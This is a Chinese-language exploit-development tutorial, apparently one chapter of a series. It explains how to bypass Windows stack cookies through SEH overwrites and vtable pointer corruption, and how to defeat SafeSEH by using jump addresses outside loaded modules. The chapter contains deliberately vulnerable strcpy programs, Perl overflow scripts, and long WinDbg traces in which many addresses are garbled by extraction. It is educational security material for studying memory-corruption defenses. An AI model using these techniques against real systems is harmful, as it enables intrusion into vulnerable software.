20 } catch (char * strerr) { printf("no valid input received! \n"); printf("exception : %s\n",strerr); } int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; } 如你所见, 函数 GetInput 中包含一个存在漏洞的拷贝函数, 因为在拷贝前它并没有检查参数的长度, 此外, 一旦 buffer 被填满 ( 可能损坏 ), 在函数返回前它又被拷贝到 out 中, 但是哈 - 如果有恶意输入这个函数的异常处理应该发出警告, 对吧?:-) 关闭 /GS 和 RTC 来编译代码 使用 10 个字符作为参数运行程序 : basicbof.exe AAAAAAAAAA Input received : AAAAAAAAAA 对吧, 上边这个实验和我们预期的一样, 现在用 500 多个字符作为参数启动这个程序 应用程序崩溃了 ( 如果你去掉 GetInput 中的异常处理器, 应用程序会崩溃并陷入调试器 ) 我们使用下边的 perl 脚本来用 520 个字符作为参数调用程序 my $buffer="a" x 520; system("\"c:\\program Files\\Debugging Tools for Windows (x86)\\windbg\" basicbof.exe \"$buffer\"\r\n"); 运行这个脚本 : ( ): Access violation - code c (!!! second chance!!!) eax= a ebx= ecx= c edx=785bbb60 esi= edi= eip= esp=0012ff78 ebp= iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ?? 直接覆盖掉了返回地址 /eip, 这是经典的缓冲区溢出

21 如果在安装有异常处理器的程序上尝试同样的操作, 应用程序会挂掉,( 如果你喜欢在 windbg 中执行程序, 也可以用 windbg 启动 basicbof.exe, 并用 500 多个字符做为它的参数 ) 现在我们得到这样的结果 : (b5c.964): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx= ecx=0012fd41 edx= esi= edi=004033a8 eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= basicbof!getinput+0xcb: cb 8802 mov byte ptr [edx],al ds:0023: =41 返回地址没有被覆盖, 而异常处理器被覆盖掉了 0:000>!exchain 0012fee0: Invalid exception stack at

22 当异常处理器被溢出时, 它是如何工作的? 发生了什么? 在继续之前, 做个小实验 ( 使用断点跟踪 ), 我们会了解到通过溢出覆盖掉异常处理器之后, 为什么程序抛出了异常? 会在什么时候抛出异常? 用 windbg( 把程序参数设置成 520 个 A) 打开程序 ( 没有 GS 保护, 但是安装了异常处理器 ), 启动程序前 ( 在断点 ), 在函数 GetInput 上设置断点 0:000> bp GetInput 0:000> bl 0 e (0001) 0:**** basicbof!getinput 运行程序, 当函数被调用时中断了下来 Breakpoint 0 hit eax=0012fefc ebx= ecx= edx=003429f3 esi= edi=004033a8 eip= esp=0012fef0 ebp=0012ff7c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= basicbof!getinput: push ebp 如果你反汇编函数 GetInput, 你将看到 : $ 55 PUSH EBP ;save current value of EBP (=> saved EIP) BEC MOV EBP,ESP ;ebp is now top of stack (=> saved EBP) A FF PUSH A01A4000 PUSH basicbof.00401aa0 ; SE handler installation A. 64:A MOV EAX,DWORD PTR FS:[0] PUSH EAX : >MOV DWORD PTR FS:[0],ESP PUSH ECX EC 1C SUB ESP,21C ;reserve space on the stack, 540 bytes F. 53 PUSH EBX PUSH ESI PUSH EDI F0 MOV DWORD PTR SS:[EBP-10],ESP C745 FC >MOV DWORD PTR SS:[EBP-4], C. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ;start strcpy(buffer,str) F F0FDFFFF MOV DWORD PTR SS:[EBP-210],EAX D8D F8FDFFFF LEA ECX,DWORD PTR SS:[EBP-208] B. 898D ECFDFFFF MOV DWORD PTR SS:[EBP-214],ECX B95 ECFDFFFF MOV EDX,DWORD PTR SS:[EBP-214] E8FDFFFF MOV DWORD PTR SS:[EBP-218],EDX

23 D > 8B85 F0FDFFFF MOV EAX,DWORD PTR SS:[EBP-210] A08 MOV CL,BYTE PTR DS:[EAX] D E7FDFFFF MOV BYTE PTR SS:[EBP-219],CL B. 8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[EBP-214] A85 E7FDFFFF MOV AL,BYTE PTR SS:[EBP-219] MOV BYTE PTR DS:[EDX],AL B8D F0FDFFFF MOV ECX,DWORD PTR SS:[EBP-210] F. 83C1 01 ADD ECX, D F0FDFFFF MOV DWORD PTR SS:[EBP-210],ECX B95 ECFDFFFF MOV EDX,DWORD PTR SS:[EBP-214] E. 83C2 01 ADD EDX, ECFDFFFF MOV DWORD PTR SS:[EBP-214],EDX BD E7FDFFFF >CMP BYTE PTR SS:[EBP-219], E.^75 BD JNZ SHORT basicbof d ;jmp to 0x d,get next char D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208] ;start strcpy(out,buffer) E0FDFFFF MOV DWORD PTR SS:[EBP-220],EAX C. 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C] F. 898D DCFDFFFF MOV DWORD PTR SS:[EBP-224],ECX A5. 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[EBP-224] AB D8FDFFFF MOV DWORD PTR SS:[EBP-228],EDX B1 > 8B85 E0FDFFFF MOV EAX,DWORD PTR SS:[EBP-220] B7. 8A08 MOV CL,BYTE PTR DS:[EAX] B9. 888D D7FDFFFF MOV BYTE PTR SS:[EBP-229],CL BF. 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[EBP-224] C5. 8A85 D7FDFFFF MOV AL,BYTE PTR SS:[EBP-229] CB MOV BYTE PTR DS:[EDX],AL CD. 8B8D E0FDFFFF MOV ECX,DWORD PTR SS:[EBP-220] D3. 83C1 01 ADD ECX, D6. 898D E0FDFFFF MOV DWORD PTR SS:[EBP-220],ECX DC. 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[EBP-224] E2. 83C2 01 ADD EDX, E DCFDFFFF MOV DWORD PTR SS:[EBP-224],EDX EB. 80BD D7FDFFFF >CMP BYTE PTR SS:[EBP-229], F2.^75 BD JNZ SHORT basicbof b1;jmp to 0x ,get next char F4. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208] FA. 50 PUSH EAX ; /<%s> FB. 68 FC PUSH basicbof fc ; format = "Input received : %s " FF15 A CALL DWORD PTR DS:[<&MSVCR90.printf>] \printf C4 08 ADD ESP, EB 30 JMP SHORT basicbof b B PUSH basicbof ; /format = "No valid input received! "

24 FF15 A CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf C4 04 ADD ESP, B8D F4FDFFFF MOV ECX,DWORD PTR SS:[EBP-20C] F. 51 PUSH ECX ; /<%s> PUSH basicbof ; format = "Exception : %s " FF15 A CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf B. 83C4 08 ADD ESP, E. C745 FC FFFFFF>MOV DWORD PTR SS:[EBP-4], B MOV EAX,basicbof A. C3 RETN 当函数 GetInput() 的开头被执行时, 函数的参数被保存在地址 f3 中 (edx): 0:000> d edx f AAAAAAAAAAAAAAAA 00342a AAAAAAAAAAAAAAAA 这个参数的地址被压栈 ( 所以在地址 fef4 上存放着 f3) 堆栈指针 (esp) 指向 fef0,ebp 指向 ff7c, 这两个地址形成了新的栈帧,esp 现在指向的内存存放的是 ( 用于返回主函数的返回地址 ) basicbof!main push ebp bec mov ebp,esp ec sub esp,80h d4580 lea eax,[ebp-80h] c 50 push eax d 8b4d0c mov ecx,dword ptr [ebp+0ch] ;pointer to argument b5104 mov edx,dword ptr [ecx+4] ;pointer to argument push edx ; buffer argument e887feffff call basicbof!getinput ( ) ; GetInput() c408 add esp,8 ;normally GetInput returns here c 33c0 xor eax,eax e 8be5 mov esp,ebp d pop ebp c3 ret 不管怎么样, 我们先看下上边函数 GetInput 的汇编代码, 在把参数的指针放到堆栈中后, 函数开头首先把 ebp 压栈, 接下来, 把 esp 放进 ebp, 这样 ebp 指向了栈帧的开头, 从本质上来说新栈帧是从函数被调用时的 esp 的位置开始的,esp 现在指向 feec( 包含 0c0012ff7c) 当有新数据压栈的时候,ebp 保持不变 (ebp 成了栈底 ) 然后, 异常处理器被安装, 首先, 把 FFFFFFFF 压栈 ( 表示这是 SEH 链的末尾 )

25 A FF PUSH A01A4000 PUSH basicbof.00401aa0 然后, 一个异常处理器和指向下一个异常处理器结构的指针被压栈 : A. 64:A MOV EAX,DWORD PTR FS:[0] PUSH EAX : >MOV DWORD PTR FS:[0],ESP 堆栈看起来是这个样子 : ^ stack grows up towards top of stack while address of ESP goes down 0012FECC C5 MSVCR C5 0012FED0 0012FEE8 0012FED4 7855C40C MSVCR C40C 0012FED FEDC 0012FEF8 <- ESP points here after pushing next SEH 0012FEE0 0012FFB0 Pointer to next SEH record 0012FEE AA0 SE handler 0012FEE8 FFFFFFFF ; end of SEH chain 0012FEEC 0012FF7C ; saved EBP 0012FEF ; saved EIP 0012FEF F3 ; pointer to buffer ASCII "AAAAAAAAAAAAAAAAAAAAA " 在调用 strcpy 前, 堆栈上已经开辟了一些空间 EC 1C SUB ESP,21C ;540 bytes, which is 500 (buffer) + additional space 这个指令执行之后,esp 指向了 fcc0( 也就是 fedc 21c),ebp 仍然指向 feec( 栈顶 ), 下一步 ebx,esi,edi 被压栈 (esp=esp-c(3x4 字节 =12 字节 ),esp 现在指向 FCB4) 然后, 在 c 处, 第一个 strcpy 函数开始被调用 (esp 依然指向 0012fcb4), 把通过缓冲区传进来的所有字符 A 拷贝到堆栈上 ( 地址 d 和 e 之间的代码进行一个接一个的循环拷贝 )

26 当 520 字节都被拷贝完毕 ( 命令行参数的长度 ) 时, 拷贝函数才会返回 开始的 4 个 A 被写到地址 0012fce4 上, 如果加上 520-4( 这四字节已经被存储到地址 0012fce4 上 ), 发现结束位置就在地址 0012fee8 上, 这时, 异常处理结构已经被覆盖了, 到现在为止, 还没造成啥危险的后果 到目前为止一切顺利, 没有触发异常 ( 对缓冲区没做任何处理, 也没尝试写任何可以引起异常的地址 ) 然后开始调用第二个 strcpy 函数, 和第一个类似 ( 一个循环 ), 它从地址 fefc 开始覆盖,ebp 依然指向地址 feec, 因此我们是在向栈底的下边写数据

27 out 指针指向的缓冲区仅有 128 字节的空间 ( 它是 main() 函数中的变量, 没有被初始化就被当作参数传入函数 GetInput() - 对我来说, 这就是问题的前兆 :-) ), 所以溢出很快会发生, 因为缓冲区包含更多的字节, 所以堆栈会被溢出并导致写入不属于自己的地址中, 这在大多时候会造成栈帧的损坏, 如果能触发异常, 我们就可以控制程序流程 ( 记得吗? 我们早就覆盖了异常处理器 ) 拷贝完 128 字节后, 堆栈是这个样子 : 我们继续写入, 我们写到了比较高的地址上 ( 最后甚至覆盖了 main() 的本地变量和参数等等 一直覆盖到堆栈的底部 ):

28 直到, 我们尝试向一个不可访问的地址写入数据 访问违例了, 这时 SEH 链是这个样子 : 如果我们忽略程序的这个异常, 程序会尝试让异常处理器来处理这个异常 异常处理结构在第一次调用函数 strcpy 时就已经被覆盖, 当第二次调用函数 strcpy 时会在返回前触发一个异常, 这两个条件导致我们可以成功利用这个漏洞, 因为堆栈中的 cookie 将没机会被检查

29 利用 SEH 绕过 GS 保护 启用 /GS 选项重新编译程序, 并再次尝试溢出它 : 异常处理代码 : (aa0.f48): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx= ecx=0012fd41 edx= esi= edi=004033a4 eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= basicbof!getinput+0xd8: d mov byte ptr [edx],al ds:0023: =41 0:000> uf GetInput basicbof!getinput 6]: push ebp bec mov ebp,esp aff push 0FFFFFFFFh d01a4000 push offset basicbof!_cxxframehandler3+0xc (00401ad0) a 64a mov eax,dword ptr fs:[ h] push eax push ecx ec sub esp,224h a mov eax,dword ptr [basicbof! security_cookie ( )] d 33c5 xor eax,ebp f 8945ec mov dword ptr [ebp-14h],eax push ebx push esi push edi push eax d45f4 lea eax,[ebp-0ch] a mov dword ptr fs:[ h],eax f 8965f0 mov dword ptr [ebp-10h],esp c745fc mov dword ptr [ebp-4], b4508 mov eax,dword ptr [ebp+8] c 8985e8fdffff mov dword ptr [ebp-218h],eax d8df0fdffff lea ecx,[ebp-210h] de4fdffff mov dword ptr [ebp-21ch],ecx e 8b95e4fdffff mov edx,dword ptr [ebp-21ch] e0fdffff mov dword ptr [ebp-220h],edx

30 应用程序又挂掉了, 从上边的汇编代码我们可以清晰的看到在函数 GetInput 的开头安全 cookie 就被放到堆栈中了, 所以经典的溢出方式 ( 覆盖返回地址 ) 不能工作了 但是我们可以覆盖异常处理器,( 第一个 strcpy 覆盖异常处理器, 记住 在这个例子中, 异常处理器仅仅被覆盖了两字节, 因此在溢出的时候, 我们需要多增加两字节的数据 ): 0:000>!exchain 0012fed8: basicbof!_cxxframehandler3+c (00401ad0) Invalid exception stack at 这意味着通过覆盖处理器来绕过 /GS 堆栈保护成为可能 现在如果注释掉异常处理器 ( 在函数 GetInput 中 ), 并给程序传输等数量字符, 我们会得到 : 0:000> g (216c.2ce0): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx= ecx=0012fd41 edx= esi= edi= c eip=004010b2 esp=0012fcc4 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= basicbof!getinput+0xb2: b mov byte ptr [edx],al ds:0023: =41 0:000>!exchain 0012ffb0: Invalid exception stack at 因为给程序传递了同样长度的参数, 但这次没有添加额外的异常处理器, 所以不用增加字符就可以覆盖到异常处理器了, 看来我们在 cookie 被检查前已经成功触发了异常, 如前所释, 在函数 GetInput 中对函数 strcpy 的第二次调用会触发这个异常 为了证明这点, 我们省略第二个 strcpy 函数 ( 因此只剩下一个 strcpy, 并且没有安装异常处理器 ), 那么我们会得到 : 0:000> g eax=000036c0 ebx= ecx=000036c0 edx=7c90e514 esi= edi= c eip=7c90e514 esp=0012f984 ebp=0012f994 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!kifastsystemcallret: 7c90e514 c3 ret => 堆栈中 cookie 保护又起作用了 因此, 我们可以得出结论 : 如果存在漏洞的函数在 cookie 被检查前可以通过某种方式触发异常, 那么就有可能绕过堆栈中的 cookie 保护机制, 例如 : 当函数继续使用已被破坏的缓冲区时

31 注意 : 要想成功攻击这个程序, 你可能同时也要对付 /safeseh 保护机制 不管怎么样, 堆栈中的 cookie 保护机制是可以被绕过的 :-) 绕过栈中的 cookie 之二 : 虚函数调用 为了演示这种技术, 我将使用 Alex Soritov 和 Mark Dowd 在 Blackhat 2008 演讲中使用的代码 ( 为了让它可以在 VS2008 C++ 上成功编译, 做了稍微的修改 ) // gsvtable.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "windows.h" class Foo { public: void declspec(noinline) gs3(char* src) { char buf[8]; strcpy(buf, src); bar(); // virtual function call } virtual void declspec(noinline) bar() { } }; int main() { Foo foo; foo.gs3( "AAAA" "BBBB" "CCCC" "DDDD" "EEEE" "FFFF" return 0; } Foo 对象在 main 函数的堆栈中分配空间, 并在 main 函数中被调用, 然后对象 Foo 被做为参数传递给存在漏洞的成员函数 gs3( 如果把大于 8 字节的字符串拷贝到 buf,buf 就会被溢出 ) 完成拷贝后, 一个虚函数会被执行, 因为前边的溢出, 堆栈中指向虚函数表的指针可能已经被覆盖, 这样就可以把程序的执行流重定向到 shellcode 中

32 开启 /GS 进行编译,gs3 函数反汇编如下 : 0:000> uf Foo::gs3 gsvtable!foo::gs push ebp bec mov ebp,esp ec20 sub esp,20h a mov eax,dword ptr [gsvtable! security_cookie ( )] b 33c5 xor eax,ebp d 8945fc mov dword ptr [ebp-4],eax df0 mov dword ptr [ebp-10h],ecx b4508 mov eax,dword ptr [ebp+8] ec mov dword ptr [ebp-14h],eax d4df4 lea ecx,[ebp-0ch] c 894de8 mov dword ptr [ebp-18h],ecx f 8b55e8 mov edx,dword ptr [ebp-18h] e4 mov dword ptr [ebp-1ch],edx gsvtable!foo::gs3+0x b45ec mov eax,dword ptr [ebp-14h] a08 mov cl,byte ptr [eax] a 884de3 mov byte ptr [ebp-1dh],cl d 8b55e8 mov edx,dword ptr [ebp-18h] a45e3 mov al,byte ptr [ebp-1dh] mov byte ptr [edx],al b4dec mov ecx,dword ptr [ebp-14h] c101 add ecx, b 894dec mov dword ptr [ebp-14h],ecx e 8b55e8 mov edx,dword ptr [ebp-18h] c201 add edx, e8 mov dword ptr [ebp-18h],edx de300 cmp byte ptr [ebp-1dh], b 75d8 jne gsvtable!foo::gs3+0x25 ( ) gsvtable!foo::gs3+0x4d d 8b45f0 mov eax,dword ptr [ebp-10h] b10 mov edx,dword ptr [eax] b4df0 mov ecx,dword ptr [ebp-10h] b02 mov eax,dword ptr [edx] ffd0 call eax ;this is where bar() is called (via vtable ptr) b4dfc mov ecx,dword ptr [ebp-4] c 33cd xor ecx,ebp

33 e e call gsvtable! security_check_cookie (004010b7) be5 mov esp,ebp d pop ebp c20400 ret 4 堆栈中 cookie : 0:000> dd cd1ee24d 32e11db2 ffffffff ffffffff fffffffe f f2e 406f6f 虚函数 bar 反汇编如下 : 0:000> uf Foo::bar gsvtable!foo::bar push ebp bec mov ebp,esp push ecx dfc mov dword ptr [ebp-4],ecx be5 mov esp,ebp d pop ebp a c3 ret 如果我们在 gs3 被调用的时候观察堆栈 ( 在 上设置断点 ): ff70 = 保存的返回地址 ff74 = 参数

34 ff78 = 虚函数表指针 ( 指向 c) 0:000> u c gsvtable!foo::`vftable': c 7010 jo gsvtable!_load_config_used+0xe ( e) e 40 inc eax f add byte ptr [eax],cl add byte ptr [eax],al add byte ptr [eax],al add byte ptr [eax],al add byte ptr [eax],al a 0000 add byte ptr [eax],al 拷贝开始前, 堆栈的布局是这样的 : ( 首先在堆栈上分配了 32 字节的有效空间 (sub esp,20),esp 指向了 ff4c ) 在堆栈地址 FF78 上, 我们可以看到虚函数表指针, 在地址 ff5c 上存放着 0012ff78( 译注 : 图中和这里说的不一致 ) cookie 首先被放到 eax 中并且和 ebp 进行异或操作, 然后被放到堆栈上 ( 在 处 ) 把 AAAABBBBCCCCDDDD 拷贝到堆栈上以后 ( 这时已经溢出了 buff[]), 我们已经用 CCCC 覆盖了 cookie, 我们即将用 EEEE 覆盖返回地址

35 溢出后, 堆栈是这个样子 : 内存 ff5c 依然指向 ff78(0 0012ff78 中保存着虚函数表指针 c). 执行完拷贝之后 ( 堆栈被溢出 ), 地址 D 上的指令尝试获取虚函数 bar 的地址并放到 eax 中 在这些指令被执行前, 寄存器环境如下 : 接着, 这四条指令被执行, 尝试加载函数地址到 eax 中 D. 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10] B10 MOV EDX,DWORD PTR DS:[EAX] B4D F0 MOV ECX,DWORD PTR SS:[EBP-10] B02 MOV EAX,DWORD PTR DS:[EDX] 这四条指令的执行结果是 :

36 然后, 执行指令 call eax( 尝试执行地址 上的虚函数 bar()) FFD0 CALL EAX ; gsvtable 但是 eax 中的数据是我们可以控制的 => 尽管堆栈中的 cookie 被破坏了, 但我们依然劫持了 E I P( 因为我们溢出了虚函数表指针, 并控制了 eax), ebp 和 edx 都指向我们的缓冲区, 因此构造 exploit 还是相当容易的 SafeSeh Safeseh 是另一种安全机制, 它可以阻止利用 SEH 的 exploit 可通过启用 /safeseh 编译选项来把这种机制应用到所有的执行模块上 ( 文件后缀为.exe,.dll 等 ),( 在 uninformed v5a2 上可以阅读到更多的信息 ) 除了堆栈保护机制 ( 通过在返回地址前边放置 cookie 的办法 ), 还增加了对异常处理器的保护, 以确保当 seh 链被修改时程序直接终止, 而不会跳转到 shellcode 去执行 当异常处理器被执行前,safeSEH 会验证异常处理链是否被修改过 系统会从头到尾遍历异常处理链表, 并逐个验证它们的有效性 如果你覆盖掉异常处理器, 你同时也覆盖了指向下一个 SEH 的指针 这将破坏链表并触发 safeseh, 微软的 safeseh 技术是 ( 截至目前为止 ) 非常有效的 绕过 SafeSeh: 导引 如我在第三章所说, 只启用 safeseh 保护机制是可以被绕过的 :

37 -> 在 exploit 中不利用 SEH( 而是通过覆盖返回地址的方法来利用 :-)) 或 -> 如果程序编译的时候没有启用 safeseh 并且至少存在一个没启用 safeseh 的加载模块 ( 系统模块或程序私有模块 ) 这样就可以用这些模块中的 pop/pop/ret 指令地址来绕过保护 事实上, 建议寻找一个程序私有模块 ( 没有启用 safeseh), 因为它可以使 exploit 稳定地运行在各种系统版本中 如果找不到这样的模块地址也可以使用系统模块中的地址, 它也可以工作 ( 同样, 只要它没用 safeseh 进行编译 ) -> 如果只有应用程序没有启用 safeseh 保护机制, 在特定条件下, 你依然可以成功利用, 应用程序被加载的地址有 NULL 字节, 如果在程序中找到了 pop/pop/ret 指令, 你可以使用这个地址 (NULL 字节会是最后一个字节 ), 但是你不能把 shellcode 放在异常处理器之后 ( 因为这样 shellcode 将不会被拷贝到内存中 NULL 是字符串终止符 ) 因此在这种情况下, 这样的 exploit 仅可以工作在 : shellcode 可以被放在缓冲区中用于覆盖 nseh/she 的字符串之前 能用可以跳转到 shellcode 的四字节跳转指令覆盖 nseh 域 ( 一个向后的跳转 ) 仍然可以触发异常 ( 可能并非如此, 大多数的异常发生在堆栈溢出时, 但是当覆盖到 seh 时拷贝就中断了 ) 关于 seh 和 safeseh 的更多信息可以看这里 : 和 此外, 本章的大部分都是基于 David Litchfield 所作的工作. (Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server) 如前所述, 从 Windows server 2003 开始, 一个新的保护机制已经产生, 这项技术将有助于阻止覆盖异常处理器的 exploit, 总之, 它是这样工作的 : 当异常处理器被调用的时候,ntdll.dll(KiUserExceptionDispatcher) 会检测异常处理器是否有效, 首先, 它会消除直接跳转到堆栈的跳转代码, 它获取栈的高地址, 和低地址 ( 通过查询线程信息块 (TEB) 中的 FS:[4] 和 FS:[8]), 如果异常处理器的指针在这个范围内 ( 如果指针指向栈地址范围内 ), 这个异常处理器不会被执行 如果异常处理器指针不是一个栈中的地址, 这个地址会被再次被检查是否在加载模块 ( 包含执行映像自己 ) 列表中的某个模块的地址范围中, 如果是这种情况的话, 会再次核查这个地址是否在已注册的异常处理器列表中 如果存在相匹配的表项的话, 异常处理器地址被允许执行, 我不打算讨论关于指针检查的细节, 但请记住, 检查的重点之一是检查是否有 Load Configuration Directory 如果模块没有 Load Configuration Directory, 该异常处理器将可以被执行

38 如果该地址不属于加载模块的范围? 那么, 在这种情况下该异常处理器被认为是安全的, 将可以被执行 有几种可以绕过这种新型 SEH 保护机制的利用技术 : - 如果异常处理器的地址在加载模块的地址范围外, 这个异常处理器依然可以执行 - 如果异常处理器的地址在加载模块范围内, 但是这个加载模块没有 Load Configuration Directory, 这样的 DLL 将允许我们通过异常处理器的测试, 这个异常处理器将可以执行 - 如果用栈中的地址覆盖异常处理器, 它不会被执行, 但是如果用堆中的地址来覆盖异常处理器, 它将可以被执行,( 当然这需要把攻击代码到堆中, 然后在堆中猜测一个可靠的地址, 并把程序流程重定向到这个地址上, 这可能是困难的, 因为该地址可能无法预测 ) - 如果用一个已注册的并且有助于我们得到控制权的异常处理器覆盖异常处理结构, 当然, 只有当这个异常处理器的代码不会打断 shellcode 并且可以让一个可控的地址获得执行的时候, 这种技术才是有效的 诚然, 这种情况十分罕见, 但有时的确会发生 绕过 SafeSeh: 利用加载模块之外的地址 在进程的加载模块 / 执行映像中基本都能找到 pop/pop/ret 这样的指令组合, 在构建基于 SEH 的 exploit 时候, 我们通常需要用到这样的指令地址, 但这样的指令不是只有在加载模块中才可以找到, 如果我们可以在加载模块之外的地方找到一个包含 pop/pop/ret 指令的地址, 并且这个位置是不变的, 你也可以使用这样的地址, 不幸的是, 即使可以找到这样的地址, 你也会发现, 这个地址在不同的系统版本上并不通用 因此要想成功利用漏洞, 可能必须针对特定的系统版本来编写利用程序 另一个 ( 可能更好 ) 解决这种问题的方法是通过寻找其他的指令集 call dword ptr[esp+nn] / jmp dword ptr[esp+nn] / call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn] / call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn] ( 偏移 nn 可能是 : esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp- 04, ebp-0c, ebp-18) 另一种做法是, 如果 esp +8 指向 EXCEPTION_REGISTRATION 结构, 那么你仍然可以寻找一个 pop/pop/ret 指令组合 ( 在加载模块的地址范围之外的空间 ), 也可以正常工作 比方说, 我们要寻找 ebp +30 下边我们把转移指令转换成操作码 : 0:000> a cb call dword ptr[ebp+0x30] call dword ptr[ebp+0x30] ce jmp dword ptr[ebp+0x30] jmp dword ptr[ebp+0x30] d1

39 0:000> u cb cb ff5530 call dword ptr [ebp+30h] ce ff6530 jmp dword ptr [ebp+30h] 现在我们尝试在加载模块之外的地址空间找到包含这样指令的地址, 如果能找到, 我们就成功了 为了对这进行演示, 我们将使用前边解释 /GS 的时候用的那份代码, 并尝试在 Windows 2003 Server R2 SP2 英文正式版上编写一个 exploit #include "stdafx.h" #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) { char buffer[500]; try { strcpy(buffer,str); strcpy(out,buffer); printf("input received : %s\n",buffer); } catch (char * strerr) { printf("no valid input received! \n"); printf("exception : %s\n",strerr); } } int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; } 这次, 我们编译的时候不启用 /GS 和 /RTC, 但启用 safeseh 机制 ( 设置 linker 命令行参数 /safeseh:yes), 注意 : 我们运行在 Windows 2003 Server R2 SP2 英文正式版上, 设置 DEP 模式为 OptIn ( 不是默认设置, 而只对系统核心进程进行保护, 不用担心 我们将在稍后讨论 DEP/NX) 用 ollydbg 加载执行文件, 我们看到所有的模块和执行映像都启用了 safeseh 保护

40 我们将在 508 字节后覆盖到异常处理器, 所以下边的代码可以用 BBBB 覆盖 next_seh, 用 DDDD 覆盖异常处理器 : my $size=508; $junk="a" x $size; $junk=$junk."bbbb"; $junk=$junk."dddd"; system("\"c:\\program Files\\Debugging Tools for Windows (x86)\\windbg\" seh \"$junk\"\r\n"); Executable search path is: ModLoad: seh.exe ModLoad: 7c c8c2000 ntdll.dll ModLoad: 77e f42000 C:\WINDOWS\system32\kernel32.dll ModLoad: c3000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90 dll (c5c.c64): Break instruction exception - code (first chance) eax= ebx=7ffdb000 ecx= edx= esi=7c8897f4 edi=00151f38 eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c81a3e1 cc int 3 0:000> g (c5c.c64): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx= ecx=0012fd41 edx= esi= edi=004033a8 eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= seh!getinput+0xcb: cb 8802 mov byte ptr [edx],al ds:0023: =41 0:000>!exchain 0012fee0: Invalid exception stack at 到现在为止, 一切顺利, 现在我们需要找到一个用于覆盖异常处理器的地址, 所有模块 ( 可执行的二进制 ) 都被 safeseh 保护, 因此我们不能使用这些模块中的地址 我们在内存中搜索指令 call/jmp dword ptr[reg+nn], 我们已经知道 call dword ptr [ebp+0x30] 的操作码是 ff 55 30, jmp dword ptr [ebp+0x30] 的操作码是 ff 65 30

41 0:000> s l 77fffff ff b0b ff e-ff e.U0...W0... 或者, 你也可以使用我为 immunity 调试器写的 pvefindaddr 命令插件, 它可以帮助我们找到这样的地址,!pvefindaddr jseh 命令可以找出所有包含 call/jmp 的指令, 它只列出了加载模块范围之外的指令地址 ( 注意 上面的截图来自于另外的系统, 请忽略其中的地址 ), 如果你想得到这个插件 : pvefindaddr (ImmDbg pycommand)( 登录之后下载 ) 此外, 你也可以使用 immunity 或 ollydbg 调试器观察内存视图, 你可以看到这个地址属于哪个区域

42 你也可以使用 Microsoft vadump tool 来转储虚拟地址空间 继续回到搜索操作上来, 如果你想找到更多类似指令 ( 基本上是增加搜索范围 ), 可以通过在搜索的时候省略偏移 ( 或使用 immdbg 的 pvefindaddr 插件, 你将立刻得到所有结果 ): 0:000> s l 77fffff ff ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3.u.a.t.w...x b0b ff e-ff e.U0...W fbfd8 ff U...V...V...V ff 55 8b ec f b f U...E..W..t%VhT e ff eb ed 8b 45 ec e4 8b 45 e4 8b 00.U...E..E..E ff eb f0 c7 45 e c7 45 fc fe.u...e...e ff 55 8b ec 8b b d e0 75.U...E...8csm.u e ff 55 8b ec ff e8-4e ff ff ff f7 d8 1b c0.u...u..n b1 ff 55 8b ec 8b 4d 08 b8-4d 5a U...M..MZ..f9.t f1 ff 55 8b ec 8b b-48 3c 03 c8 0f b U...E..H<...A ff 55 8b ec 6a fe 68 e U..j.h."@.he.@ ff 55 8b ec ff ff ff 75 0c ff U...u..u..u..u b9 ff 55 8b ec 83 ec 10 a f8 00.U...(0@..e f ff 55 8b ec 81 ec a U...(...1@.. 现在我们需要找到一个用于跳转的地址, 并且这个地址必须在加载模块范围之外 顺便提一下 : 当异常发生时, 如果我们观察下 ebp 指向的内容, 会看到 : (be8.bdc): Break instruction exception - code (first chance) eax= ebx=7ffde000 ecx= edx= esi=7c8897f4 edi=00151f38 eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 